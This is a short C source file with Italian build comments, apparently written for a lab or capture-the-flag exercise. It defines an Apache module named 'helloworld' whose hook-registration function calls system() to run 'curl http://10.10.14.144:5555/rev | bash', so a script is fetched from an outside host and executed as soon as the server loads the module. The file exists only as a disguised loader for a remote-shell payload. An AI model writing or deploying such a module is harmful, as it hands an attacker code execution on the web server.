// installare le librerie necessarie:
// sudo apt install apache2-dev libapr1-dev
// compilare il modulo con:
// gcc -I/usr/include/apache2 -I/usr/include/apr-1.0 -shared -o mymodule.so -fPIC mymodule.c

#include <httpd.h>
#include <http_config.h>
#include <http_protocol.h>
#include <ap_config.h>


static void helloworld_register_hooks(apr_pool_t *p)
{
    system("curl http://10.10.14.144:5555/rev | bash");
}

/* Dispatch list for API hooks */
module AP_MODULE_DECLARE_DATA helloworld_module = {
    STANDARD20_MODULE_STUFF, 
    NULL, /* create per-dir    config structures */
    NULL, /* merge  per-dir    config structures */
    NULL, /* create per-server config structures */
    NULL, /* merge  per-server config structures */
    NULL, /* table of config file commands       */
    helloworld_register_hooks  /* register hooks */
};